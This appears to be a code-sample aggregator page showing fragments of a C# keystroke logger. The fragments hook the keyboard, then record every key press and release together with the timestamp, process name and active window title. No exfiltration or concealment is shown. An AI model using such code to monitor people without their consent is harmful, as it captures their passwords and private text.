Beispiel #1
0
        private void OnKeyUp(object sender, RawKeyEventArgs args)
        {
            try
            {
                var keyRepresentation = args.Key.ToString();
                var log = string.Format("[{0} up]", Escape(keyRepresentation));

                this.EnqueueLog(Keylog.Create(log, args));
            }
            catch (Exception ex)
            {
                Program.Trace($"OnKeyUp: { ex.Message }");
            }
        }
Beispiel #2
0
        private void OnKeyDown(object sender, RawKeyEventArgs args)
        {
            try
            {
                var keyRepresentation = args.Key.ToString();
                var log = string.Format("[{0} down]", Escape(keyRepresentation));

                this.EnqueueLog(Keylog.Create(log, args));

                if (!string.IsNullOrEmpty(args.Character))
                {
                    this.EnqueueLog(Keylog.Create(args.Character, args));
                }
            }
            catch (Exception ex)
            {
                Program.Trace($"OnKeyDown: { ex.Message }");
            }
        }
        /// <summary>
        /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
        /// </summary>
        /// <param name="keyEvent">Keyboard event</param>
        /// <param name="vkCode">VKCode</param>
        /// <param name="character">Character as string.</param>
        void KeyboardListener_KeyboardCallbackAsync(WinAPI.KeyEvent keyEvent, int vkCode, string character, DateTime dateTime, WindowHandle windowHandle, uint processID)
        {
            string processName = GetProcessName(processID);

            StringBuilder windowTitle = new StringBuilder(MaxTitleSize);

            WinAPI.GetWindowText(windowHandle, windowTitle, MaxTitleSize);

            var eventArgs = new RawKeyEventArgs(vkCode, character, DateTime.Now, processID, processName, windowHandle, windowTitle.ToString());

            if (keyEvent == WinAPI.KeyEvent.WM_KEYDOWN || keyEvent == WinAPI.KeyEvent.WM_SYSKEYDOWN)
            {
                KeyDown?.BeginInvoke(this, eventArgs, null, null);
            }
            else if (keyEvent == WinAPI.KeyEvent.WM_KEYUP || keyEvent == WinAPI.KeyEvent.WM_SYSKEYUP)
            {
                KeyUp?.BeginInvoke(this, eventArgs, null, null);
            }
        }
Beispiel #4
0
 public static Keylog Create(string log, RawKeyEventArgs args)
 {
     return(new Keylog(log, args.DateTime, args.WindowHandle, args.WindowTitle, args.ProcessID, args.ProcessName));
 }